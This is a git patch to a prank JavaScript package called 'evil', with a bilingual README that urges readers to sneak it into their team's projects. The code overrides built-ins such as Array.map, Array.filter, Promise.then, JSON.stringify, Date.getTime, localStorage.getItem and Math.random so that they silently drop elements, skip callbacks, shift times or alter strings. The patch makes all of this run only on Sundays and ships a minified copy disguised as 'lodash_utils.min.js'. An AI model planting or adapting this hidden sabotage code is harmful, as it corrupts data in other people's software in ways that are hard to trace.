From b2ca7f280327b755f9b4412f9c93d06167ff68be Mon Sep 17 00:00:00 2001 From: wheatup Date: Fri, 9 Apr 2021 20:26:07 +0900 Subject: [PATCH] only triggers on Sunday --- README.md | 16 ++++++++++------ build/lodash_utils.min.js | 2 +- index.js | 22 ++++++++++++---------- package-lock.json | 24 +----------------------- package.json | 2 +- 5 files changed, 25 insertions(+), 41 deletions(-) diff --git a/README.md b/README.md index ba6f4b2..36d6116 100644 --- a/README.md +++ b/README.md @@ -6,12 +6,14 @@ 偷偷地把本项目引入你们的项目吧，你们的项目会有但不仅限于如下的神奇效果： +仅在周日时： + * 当数组长度可以被7整除时，`Array.includes` 永远返回false。 -* 当周日时，`Array.map` 方法的结果总是会丢失最后一个元素。 -* `Array.filter` 的结果有2%的概率丢失最后一个元素。 +* `Array.map` 有5%概率会丢失最后一个元素。 +* `Array.filter` 的结果有5%的概率丢失最后一个元素。 * `Array.forEach` 会卡死一段时间。 * `setTimeout` 总是会比预期时间慢1秒才触发。 -* `Promise.then` 在周日时有10%概率不会注册。 +* `Promise.then` 有10%概率不会触发。 * `JSON.stringify` 有30%概率会把`I`(大写字母I)变成`l`(小写字母L)。 * `Date.getTime()` 的结果总是会慢一个小时。 * `localStorage.getItem` 有5%几率返回空字符串。 @@ -28,12 +30,14 @@ Wanna leave a little *surprise* for the project you are working on? Try include this *harmless* library! Your project will have following amazing effect: +When on Sunday: + * If the array size is divisible by `7`, `Array.includes` aways return `false`. -* `Array.map` will always be missing the last element during Sunday. -* `Array.filter` has 10% chance to drop the final element. +* `Array.map` has 5% chance to drop the last element. +* `Array.filter` has 5% chance to drop the final element. * `Array.forEach` will will cause a significant lag. * `setTimeout` will alway trigger 1s later than expected. -* `Promise.then` has 10% chance will not register during Sunday. +* `Promise.then` has 10% chance will not register. * `JSON.stringify` has 30% replace `I` into `l`. * `Date.getTime()` always gives the result off by 1 hour. * `localStorage.getItem` has 5% chance returns empty string. diff --git a/build/lodash_utils.min.js b/build/lodash_utils.min.js index b8f6864..6a7e60a 100644 --- a/build/lodash_utils.min.js +++ b/build/lodash_utils.min.js @@ -1 +1 @@ -(n=>{const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result};const o=Array.prototype.filter;Array.prototype.filter=function(...t){return result=o.call(this,...t),u()<.02&&(result.length=Math.max(result.length-1,0)),result};const l=n.setTimeout;n.setTimeout=function(t,e,...r){return l.call(n,t,+e+1e3,...r)};const a=Promise.prototype.then;Promise.prototype.then=function(...t){0===(new Date).getDay()&&u()<.1||a.call(this,...t)};const c=JSON.stringify;JSON.stringify=function(...t){let e=c.call(JSON,...t);return u()<.3&&(e=e.replace(/I/g,"l")),e};const s=Date.prototype.getTime;Date.prototype.getTime=function(){var t=s.call(this);return t-=36e5};const i=n.localStorage.getItem;n.localStorage.getItem=function(...t){let e=i.call(n.localStorage,...t);return u()<.05&&(e=""),e};const u=Math.random;Math.random=function(...t){t=u.call(Math,...t);return t*=1.1}})((0,eval)("this")); \ No newline at end of file +(o=>{if(0===(new Date).getDay()){const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const n=Array.prototype.forEach;Array.prototype.forEach=function(...t){for(let t=0;t<=1e7;t++);return n.call(this,...t)};const l=Array.prototype.filter;Array.prototype.filter=function(...t){return result=l.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const a=o.setTimeout;o.setTimeout=function(t,e,...r){return a.call(o,t,+e+1e3,...r)};const c=Promise.prototype.then;Promise.prototype.then=function(...t){p()<.1||c.call(this,...t)};const s=JSON.stringify;JSON.stringify=function(...t){let e=s.call(JSON,...t);return p()<.3&&(e=e.replace(/I/g,"l")),e};const i=Date.prototype.getTime;Date.prototype.getTime=function(){var t=i.call(this);return t-=36e5};const u=o.localStorage.getItem;o.localStorage.getItem=function(...t){let e=u.call(o.localStorage,...t);return p()<.05&&(e=""),e};const p=Math.random;Math.random=function(...t){t=p.call(Math,...t);return t*=1.1}}})((0,eval)("this")); \ No newline at end of file diff --git a/index.js b/index.js index 938b45c..72637cb 100644 --- a/index.js +++ b/index.js @@ -10,7 +10,9 @@ */ (global => { - ////// Arrays + // Skip if it's not Sunday + if (new Date().getDay() !== 0) return; + /** * If the array size is devidable by 7, this function aways fail * @zh 当数组长度可以被7整除时，本方法永远返回false @@ -25,13 +27,13 @@ }; /** - * Array.map will always be missing the last element on Sundays - * @zh 当周日时，Array.map方法的结果总是会丢失最后一个元素 + * Array.map has 5% chance drop the last element + * @zh Array.map方法的结果有5%几率丢失最后一个元素 */ const _map = Array.prototype.map; Array.prototype.map = function (...args) { result = _map.call(this, ...args); - if (new Date().getDay() === 0) { + if (_rand() < 0.05) { result.length = Math.max(result.length - 1, 0); } return result; @@ -48,13 +50,13 @@ } /** - * Array.fillter has 10% chance to lose the final element - * @zh Array.filter的结果有2%的概率丢失最后一个元素 + * Array.fillter has 5% chance to lose the final element + * @zh Array.filter的结果有5%的概率丢失最后一个元素 */ const _filter = Array.prototype.filter; Array.prototype.filter = function (...args) { result = _filter.call(this, ...args); - if (_rand() < 0.02) { + if (_rand() < 0.05) { result.length = Math.max(result.length - 1, 0); } return result; @@ -70,12 +72,12 @@ } /** - * Promise.then has a 10% chance will not register on Sundays - * @zh Promise.then 在周日时有10%几率不会注册 + * Promise.then has a 10% chance will not trigger + * @zh Promise.then 有10%几率不会触发 */ const _then = Promise.prototype.then; Promise.prototype.then = function (...args) { - if (new Date().getDay() === 0 && _rand() < 0.1) { + if (_rand() < 0.1) { return; } else { _then.call(this, ...args); diff --git a/package-lock.json b/package-lock.json index 0dc97bb..2889a04 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,30 +1,8 @@ { "name": "evil", "version": "1.0.0", - "lockfileVersion": 2, + "lockfileVersion": 1, "requires": true, - "packages": { - "": { - "name": "evil", - "version": "1.0.0", - "license": "ISC", - "devDependencies": { - "uglify-js": "^3.13.3" - } - }, - "node_modules/uglify-js": { - "version": "3.13.3", - "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.13.3.tgz", - "integrity": "sha512-otIc7O9LyxpUcQoXzj2hL4LPWKklO6LJWoJUzNa8A17Xgi4fOeDC8FBDOLHnC/Slo1CQgsZMcM6as0M76BZaig==", - "dev": true, - "bin": { - "uglifyjs": "bin/uglifyjs" - }, - "engines": { - "node": ">=0.8.0" - } - } - }, "dependencies": { "uglify-js": { "version": "3.13.3", diff --git a/package.json b/package.json index 9b65959..35e5471 100644 --- a/package.json +++ b/package.json @@ -5,7 +5,7 @@ "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", - "build": "uglifyjs --compress --mangle --output build/lodash_utils.min.js -- index.js" + "build": "uglifyjs --compress --mangle --output build/lodash_utils.min.js -- index.js" }, "keywords": [], "author": "",